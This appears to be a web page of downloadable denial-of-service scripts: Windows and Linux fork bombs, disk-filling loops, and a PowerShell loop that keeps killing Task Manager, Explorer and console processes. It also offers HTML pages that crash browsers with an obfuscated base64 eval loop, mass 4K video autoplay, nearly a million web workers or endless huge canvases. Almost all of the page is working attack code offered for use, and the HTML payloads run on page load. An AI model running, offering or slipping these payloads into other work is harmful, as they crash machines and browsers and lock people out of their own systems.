Androsh7

Batch: Fork Bomb Windows

Creates exponentially more processes until the computer crashes

@echo off
%0|%0

Download (fork_bomb.bat)

Powershell: Memory Crash Windows

Doubles the size of a file until the disk fails or the disk fills up

write-output $(Get-random) >> cpfile
while ($TRUE) {get-content cpfile | write-output >> cpfile}

Download (mem_crash.ps1)

Powershell: Anti-Enumeration Windows

Prevents a user from opening files, starting/stopping processes, using terminals, and opening new apps

while ($TRUE) {Get-Process | Where-Object {$_.name -match "taskmgr|explorer|conhost"} | foreach-object {$_.kill()} 2>$NULL }

Download (no_gui.ps1)

Bash: Fork Bomb Linux

Creates exponentially more processes until the computer crashes

#!/bin/bash
:(){ :|:& };:

Download (fork_bomb.sh)

Bash: Memory Crash Linux

Writes random data to a file until the disk fills up

#!/bin/bash
while ($true) do cat /dev/urandom >> /tmp/random & done

Download (mem_crash.sh)

HTML: Doubling Integer DOS Web

Doubles an integer in the user"s browser until the browser or computer crashes. NOTE: command is encoded in base64

<!DOCTYPE html>
<html>
  <img src="#" onerror="eval(atob('bnVtID0gMTt3aGlsZSgxKXtudW0gKj0gMjtjb25zb2xlLmxvZyhudW0pO30='))">
</html>

Download (doubleit.html)

HTML: Excessive Video Streaming DOS Web

Attempts to load 30+ 4k videos at the same time until the browser or computer crashes. NOTE: may take longer to see effects on higher performance systems

<!DOCTYPE html>
<html>
  <table style="border-collapse: collapse; width: 0.001%;" border="0"><colgroup><col style="width: 0.001%;"><col style="width: 0.001%;"><col style="width: 0.001%;"></colgroup>
    <tbody>
      <tr>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
        <td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
      </tr>
    </tbody>
  </table>
</html>

Download (watchme.html)

HTML: Worker Overload Web

Starts creating workers (HTML5 only) to cause the browser crash

<!DOCTYPE html>
<html>
  <script>
      const numWorkersEl = document.getElementById('numWorkers');
      const dutyEl = document.getElementById('duty');
      const workerStats = document.getElementById('workerStats');

      numWorkersEl.value = 999999;
      dutyEl.value = 500;

      let workers = [];
      let workerInterval = null;
      let cpuSamples = [];
      let longTaskMs = 0;
      let lastTick = performance.now();

      const workerBlob = new Blob([`
        let running = false;
        let timer = null;
        function burst(ms){
           const end = performance.now() + ms;
           let x = 0;
           while (performance.now() < end) {
              x += Math.sqrt(Math.random()) % 1;
           }
           postMessage({ok:true, x});
        }
        onmessage = (e) => {
           const {cmd, ms} = e.data || {};
           if (cmd === 'start' && !running) {
              running = true;
              const loop = () => {
                if (!running) return;
                burst(ms);
                timer = setTimeout(loop, Math.max(0, 1000 - ms));
              };
              loop();
           } else if (cmd === 'stop') {
              running = false;
              if (timer) clearTimeout(timer), timer = null;
              close();
           }
        };
      `], { type: 'text/javascript' });

      const n = 999999;
      const ms = Math.max(0, +dutyEl.value);
      workers = Array.from({ length: n }, () => new Worker(URL.createObjectURL(workerBlob)));
      for (const w of workers) w.postMessage({ cmd: 'start', ms });

      cpuSamples = [];
      lastTick = performance.now();
      workerStats.textContent = `Running ${n} worker(s) at ~${ms} ms/sec each…`;

      workerInterval = setInterval(() => {
        const now = performance.now();
        const dt = now - lastTick;
        lastTick = now;
        const blocked = longTaskMs; longTaskMs = 0;
        cpuSamples.push({ dt, blocked });
        if (cpuSamples.length > 10) cpuSamples.shift();

        const avgBlocked = cpuSamples.reduce((a,b)=>a+b.blocked,0) / Math.max(1, cpuSamples.length);
        const pct = Math.min(100, Math.round((avgBlocked / 1000) * 100));
        workerStats.textContent = `Running ${n} worker(s) · Duty ${ms} ms/sec · Recent long-task time ≈ ${pct}%`;
      }, 1000);
   </script>
</html>

Download (toomanyworkers.html)

HTML: Too Many Canvases Web

Creates 4096x4096 canvases as fast as possible to overload system resources

<!DOCTYPE html>
<html>
  <canvas id="c" width="4096" height="4096" style="width:4096px; height:4096px; display:block; border:1px solid #ccc;"></canvas>
  <div id="canvasStats" style="margin:.5rem 0;"></div>

  <script>
  document.addEventListener('DOMContentLoaded', () => {
  const STEP_MS = 0;
  window.scrollTo({ top: document.body.scrollHeight, behavior: "smooth" });
    const grid = document.createElement('div');
    grid.id = 'canvasGrid';
    grid.style.display = 'grid';
    grid.style.gridTemplateColumns = 'repeat(auto-fill, 256px)';
    grid.style.gap = '8px';

    const statsEl = document.getElementById('canvasStats');

    const first = document.getElementById('c');
    first.width = 4096; first.height = 4096;
    first.style.width = '4096px'; first.style.height = '4096px';

    statsEl.parentNode.insertBefore(grid, statsEl);
    grid.appendChild(first);

    function drawInto(canvas) {
      const ctx = canvas.getContext('2d', { willReadFrequently: false, alpha: false, desynchronized: true });
      if (!ctx) return;
      ctx.fillStyle = '#eaeaea';
      ctx.fillRect(0, 0, canvas.width, canvas.height);
      ctx.fillStyle = '#222';
      ctx.fillRect(0, 0, canvas.width / 2, canvas.height / 2);
      ctx.fillRect(canvas.width / 2, canvas.height / 2, canvas.width / 2, canvas.height / 2);
    }

    drawInto(first);
    let count = 1;

    let timer = null;
    function addOne() {
      const cnv = document.createElement('canvas');
      cnv.width = 4096; cnv.height = 4096;
      cnv.style.width = '4096px'; cnv.style.height = '4096px';
      drawInto(cnv);
      grid.appendChild(cnv);
      timer = setTimeout(addOne, STEP_MS);
    }

    timer = setTimeout(addOne, STEP_MS);
  });
  </script>
</html>

Download (infinitecanvas.html)